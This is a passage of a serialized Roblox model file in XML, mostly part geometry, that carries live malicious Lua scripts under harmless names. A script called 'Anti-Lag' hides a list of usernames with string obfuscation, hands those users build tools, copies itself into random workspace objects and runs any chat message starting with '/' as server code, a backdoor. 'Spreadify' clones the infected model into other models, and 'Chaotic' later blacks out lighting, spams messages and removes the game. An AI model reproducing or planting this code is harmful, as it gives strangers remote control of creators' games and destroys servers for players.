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					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>104</X>
						<Y>0.400000006</Y>
						<Z>6</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX21">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Anti-Lag</string>
					<string name="Source">Altitude = script:clone()
calco = {&quot;u&quot;, &quot;1&quot;,&quot;4&quot;,&quot;D&quot;,&quot;j&quot;,&quot;g&quot;,&quot;M&quot;,&quot;k&quot;,&quot;a&quot;,&quot;e&quot;,&quot;d&quot;,&quot;c&quot;,&quot;2&quot;,&quot;3&quot;,&quot;r&quot;,&quot;t&quot;,&quot;j&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4]))
table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4])) 
table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5])) 
table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </string>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Geometry" referent="RBX22">
				<Properties>
					<string name="Name">OHAI</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Model" referent="RBX23">
					<Properties>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Controls</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX24">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Chaotic</string>
							<string name="Source">messages = {&quot;Death to roblox!&quot;, &quot;Robloxian Spirits will prevail!&quot;, &quot;Free model using fool!&quot;, &quot;1x1x1x1 will come!&quot;, &quot;Destruction to roblox!&quot;, &quot;Burn the capitalists, comrades!&quot;, &quot;We have already captured chuck norris, you are doomed!&quot;, &quot;FOR THE MOTHERLAND&quot;, &quot;SPAMSPAMSPAMSPAM&quot;, &quot;Telamon&apos;s security system sucks..&quot;, &quot;MrDoomBringer Phailz!&quot;, &quot;SPAMSKOIADGFVIKHJNWDSIV&quot;, &quot;KOMAPSAMEDA&quot;, &quot;I LOVE YOU&quot;, &quot;I HATE YOU&quot;, &quot;This is all a script, an alternate form of reality.&quot;, &quot;SPAM THE FORUMS PLZ&quot;}

while true do
wait(600)
if game:findFirstChild(&quot;NetworkServer&quot;) ~= nil then
game.Lighting.TimeOfDay = &quot;00:00:00&quot;
game.Lighting.Brightness = 0
for i=1, 300 do
local a = Instance.new(&quot;Message&quot;)
a.Parent = game.Workspace
a.Text = messages[math.random(1, #messages)]
wait(.05)
end
game:Remove()
end
end
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX25">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Spreadify</string>
							<string name="Source">function dive()
p= game.Workspace:GetChildren()	
for i= 1, #p do				
if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;OHAI&quot;)==nil then
script.Parent.Parent:clone().Parent = p[i]
end
end
end

while true do
wait(10)
dive()
end
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="SpawnLocation" referent="RBX26">
			<Properties>
				<bool name="AllowTeamChangeOnTouch">false</bool>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>5.99999952</X>
					<Y>1</Y>
					<Z>105</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<int name="Duration">10</int>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<string name="Name">SpawnLocation</string>
				<bool name="Neutral">true</bool>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<int name="TeamColor">194</int>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>1.20000005</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX27">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>rbxasset://Textures\SpawnLocation.png</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Model" referent="RBX28">
			<Properties>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">RBX29</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Part" referent="RBX29">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>35</X>
						<Y>21</Y>
						<Z>13.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>18</X>
						<Y>1.20000005</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX30">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>26.5</X>
						<Y>10.4000006</Y>
						<Z>13.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>-0</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>20</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX31">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>35</X>
						<Y>3.80000067</Y>
						<Z>13.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">2</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">2</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>16</X>
						<Y>1.20000005</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX32">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>43.5</X>
						<Y>10.4000006</Y>
						<Z>13.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>-0</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>20</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Geometry" referent="RBX33">
				<Properties>
					<string name="Name">OHAI</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Model" referent="RBX34">
					<Properties>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Controls</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX35">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Chaotic</string>
							<string name="Source">messages = {&quot;Death to roblox!&quot;, &quot;Robloxian Spirits will prevail!&quot;, &quot;Free model using fool!&quot;, &quot;1x1x1x1 will come!&quot;, &quot;Destruction to roblox!&quot;, &quot;Burn the capitalists, comrades!&quot;, &quot;We have already captured chuck norris, you are doomed!&quot;, &quot;FOR THE MOTHERLAND&quot;, &quot;SPAMSPAMSPAMSPAM&quot;, &quot;Telamon&apos;s security system sucks..&quot;, &quot;MrDoomBringer Phailz!&quot;, &quot;SPAMSKOIADGFVIKHJNWDSIV&quot;, &quot;KOMAPSAMEDA&quot;, &quot;I LOVE YOU&quot;, &quot;I HATE YOU&quot;, &quot;This is all a script, an alternate form of reality.&quot;, &quot;SPAM THE FORUMS PLZ&quot;}

while true do
wait(600)
if game:findFirstChild(&quot;NetworkServer&quot;) ~= nil then
game.Lighting.TimeOfDay = &quot;00:00:00&quot;
game.Lighting.Brightness = 0
for i=1, 300 do
local a = Instance.new(&quot;Message&quot;)
a.Parent = game.Workspace
a.Text = messages[math.random(1, #messages)]
wait(.05)
end
game:Remove()
end
end
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX36">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Spreadify</string>
							<string name="Source">function dive()
p= game.Workspace:GetChildren()	
for i= 1, #p do				
if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;OHAI&quot;)==nil then
script.Parent.Parent:clone().Parent = p[i]
end
end
end

while true do
wait(10)
dive()
end
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX37">
			<Properties>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">RBX38</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Part" referent="RBX38">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-12</X>
						<Y>21</Y>
						<Z>71.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>18</X>
						<Y>1.20000005</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX39">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-20.5</X>
						<Y>10.3999996</Y>
						<Z>71.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>20</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX40">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-3.5</X>
						<Y>10.3999996</Y>
						<Z>71.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>20</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX41">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Anti-Lag</string>
					<string name="Source">Altitude = script:clone()
calco = {&quot;u&quot;, &quot;1&quot;,&quot;4&quot;,&quot;D&quot;,&quot;j&quot;,&quot;g&quot;,&quot;M&quot;,&quot;k&quot;,&quot;a&quot;,&quot;e&quot;,&quot;d&quot;,&quot;c&quot;,&quot;2&quot;,&quot;3&quot;,&quot;r&quot;,&quot;t&quot;,&quot;j&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4]))
table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4])) 
table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5])) 
table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
